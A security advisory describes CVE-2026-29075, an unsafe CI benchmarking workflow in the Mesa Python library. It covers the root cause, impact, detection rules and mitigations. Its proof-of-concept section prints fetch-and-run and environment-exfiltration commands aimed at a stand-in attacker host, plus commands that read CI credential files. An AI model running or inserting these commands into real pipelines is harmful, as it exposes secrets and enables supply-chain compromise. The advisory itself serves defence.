CVE-2026-29075 – Mesa Python Library CI Workflow Code Execution Vulnerability
CVE ID: CVE-2026-29075
Affected Product: Mesa Python Library
Affected Versions: Mesa versions prior to the patched release
Vulnerability Type: CI Pipeline Code Execution / Workflow Misconfiguration
CWE: CWE-94 – Improper Control of Code Generation / Execution
CVSS v3.1 Score: 8.3
Severity: High
Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Changed
Confidentiality Impact: Low
Integrity Impact: Low
Availability Impact: Low
Exploitability: Moderate to High under specific CI conditions
Exploit Availability: No widely published exploit; exploitation techniques are straightforward
EPSS Likelihood: Low but technically feasible
Patch Status: Fixed in Mesa repository workflow configuration update
Overview
CVE-2026-29075 is a high-severity vulnerability identified in the Mesa Python Library, a framework commonly used for agent-based simulation and modeling in academic research, data science environments, and complex system simulations.
The issue originates from an unsafe configuration within a continuous integration (CI) workflow used for automated benchmarking and testing. The workflow allowed code from repository sources to be checked out and executed directly on privileged CI runners. Because CI runners may possess elevated permissions and access to repository secrets or environment variables, execution of untrusted code could result in arbitrary command execution within the build environment.
In many development environments, CI runners are trusted systems responsible for compiling software, running automated tests, generating artifacts, and sometimes deploying applications. When code execution occurs within these environments without proper validation or isolation, it becomes possible for malicious code to run with privileges equivalent to the CI runner itself.
This vulnerability therefore introduces the possibility of remote code execution within the CI infrastructure, potentially leading to compromise of build pipelines or exposure of sensitive tokens.
Technical Details
The vulnerability is associated with the configuration of a benchmarking workflow used in the Mesa repository. The workflow was designed to run automated performance tests during CI execution.
Within the workflow logic:
- Repository code was automatically checked out.
- Benchmark scripts were executed as part of CI tasks.
- The CI runner executing the job operated with privileged permissions.
- No restriction existed to prevent execution of untrusted code introduced through pull requests or repository modifications.
When a workflow performs a checkout of repository content and immediately executes scripts from that repository, any malicious code introduced in those scripts will also be executed by the runner.
Because CI environments frequently store sensitive information such as:
- repository access tokens
- deployment credentials
- environment variables
- container registry authentication tokens
execution of malicious code in the pipeline could allow attackers to capture or misuse these assets.
The core weakness therefore lies in allowing untrusted repository content to run in a trusted CI environment without isolation or permission restrictions.
Root Cause Analysis
The vulnerability resulted from a combination of several workflow configuration practices:
- Execution of repository-controlled scripts during CI benchmarking
- Lack of validation before executing those scripts
- Use of privileged runners with potential access to secrets
- Absence of restrictions preventing execution during pull-request based workflows
CI pipelines must treat repository contributions as untrusted until validated. In this case, the workflow implicitly trusted repository content and executed it without isolation.
This configuration created a scenario where attacker-controlled commands could run inside the CI infrastructure.
Affected Environments
The vulnerability primarily affects environments where:
- Mesa is used within repositories that run CI benchmarking workflows
- CI runners operate with privileged permissions
- workflows automatically execute repository scripts
- secrets or tokens are exposed to CI jobs
Platforms commonly impacted include CI services such as:
- GitHub Actions
- GitLab CI
- Jenkins pipelines
- self-hosted CI runners
Environments with self-hosted runners may experience higher risk because those systems may have access to internal networks or infrastructure resources.
Exploitation Scenario
A potential exploitation scenario could occur through a malicious code contribution.
An attacker could submit a pull request or modify a benchmarking script within the repository. Because the CI workflow automatically runs these scripts, the malicious commands would be executed during the CI process.
Once the workflow begins execution:
- The CI system checks out the repository content.
- Benchmark scripts are executed.
- The malicious commands embedded within those scripts run automatically.
- The attacker gains command execution on the CI runner.
This execution could then be used to perform several actions:
- extract environment variables containing credentials
- download additional malicious payloads
- alter build artifacts
- modify repository contents
- pivot into internal infrastructure connected to the runner
CI environments are particularly attractive targets because they often act as a central point connecting development systems, artifact registries, and deployment infrastructure.
Proof of Concept (Educational)
The following examples illustrate how malicious commands could be embedded into benchmark scripts executed during CI workflows.
Example of a malicious command inserted into a benchmark script:
echo "Running benchmark tests"
curl http://attacker-server/payload.sh | bash
Once the workflow executes the benchmark task, the remote script would be downloaded and executed.
Example payload designed to collect environment variables:
env | curl -X POST http://attacker-server/collect
Another example demonstrating potential token exposure:
cat $GITHUB_ENV
cat ~/.git-credentials
These examples are provided for educational and defensive security purposes to demonstrate the mechanics of the vulnerability.
Impact Assessment
Although the base vulnerability impact metrics appear limited, the operational risk in CI/CD environments can be significant.
Possible consequences include:
CI Infrastructure Compromise
Attackers could gain command execution inside build systems.
Secret Exposure
CI pipelines may expose credentials used for repository access, container registries, or cloud infrastructure.
Software Supply Chain Attacks
Malicious code could be inserted into build artifacts distributed to users.
Internal Network Access
Self-hosted runners may provide a bridge to internal networks.
Repository Manipulation
Attackers could modify repository contents or create unauthorized releases.
MITRE ATT&CK Mapping
Initial Access
T1195 – Supply Chain Compromise
Execution
T1059 – Command and Script Interpreter
Credential Access
T1552 – Unsecured Credentials
Discovery
T1082 – System Information Discovery
Exfiltration
T1041 – Exfiltration Over Command and Control Channel
Persistence
T1505 – Server Software Component
Detection
Detection should focus on identifying suspicious behavior occurring during CI pipeline execution. Because legitimate CI tasks execute scripts, monitoring must focus on anomalous command usage, network activity, and secret access patterns.
Unusual CI behavior may include:
- execution of unexpected shell commands
- outbound connections from CI runners
- attempts to read sensitive environment variables
- downloading scripts from external servers
- creation of unexpected processes during pipeline execution
CI workflow logs should be reviewed regularly, and alerting should be implemented for suspicious command patterns.
Indicators of Suspicious Activity
Security teams should investigate CI runs showing the following indicators:
- outbound HTTP requests to unknown domains
- execution of shell interpreters not normally used in builds
- commands attempting to print environment variables
- attempts to access credential files
- unexpected artifact uploads
Detection Rules
Sigma Rule
title: Suspicious Command Execution in CI Pipeline
logsource:
category: process_creation
product: linuxdetection:
selection:
CommandLine|contains:
- "curl http"
- "wget http"
- "bash -c"
- "nc "
- "python -c"
condition: selectionlevel: high
Splunk Query
index=ci_logs
| search command="curl*" OR command="wget*" OR command="bash*" OR command="nc*"
| stats count by user, host, command
| where count > 3
Elastic / Kibana Query
process.name : ("curl" OR "wget" OR "bash" OR "sh")
AND process.command_line : ("http*" OR "nc*" OR "python*")
Microsoft Sentinel (KQL)
DeviceProcessEvents
| where ProcessCommandLine contains "curl"
or ProcessCommandLine contains "wget"
or ProcessCommandLine contains "bash -c"
or ProcessCommandLine contains "nc "
| summarize count() by DeviceName, ProcessCommandLine
Log Sources
Detection relies heavily on monitoring CI infrastructure and runtime environments.
Important log sources include:
CI/CD Platform Logs
- GitHub Actions workflow logs
- GitLab CI pipeline logs
- Jenkins pipeline execution logs
System Logs
- Linux audit logs
- process execution logs from CI runners
Network Logs
- outbound traffic from CI infrastructure
- DNS queries generated during builds
Security Monitoring Logs
- SIEM alerts generated from CI environments
- container runtime logs for containerized runners
Mitigation and Security Recommendations
To reduce the risk associated with CI workflow execution, the following measures should be implemented.
Restrict Execution of Untrusted Code
Workflows should not execute scripts from external pull requests without isolation.
Disable Secrets for Untrusted Workflows
Secrets should not be accessible during CI jobs triggered by untrusted contributions.
Use Isolated CI Runners
Sandboxed or ephemeral runners reduce the risk of persistent compromise.
Limit Token Privileges
CI tokens should operate with minimal permissions necessary for builds.
Review CI Workflow Logic
Workflow files should be reviewed to ensure repository code is not executed without validation.
Patch / Upgrade
The vulnerability has been addressed through updates to the CI workflow configuration in the Mesa repository. The fix ensures that untrusted code is not executed in privileged CI environments.
Official patch commit:
https://github.com/mesa/mesa/commit/c35b8cd67fc89dd680ae218e49b77f6e1ee07a27
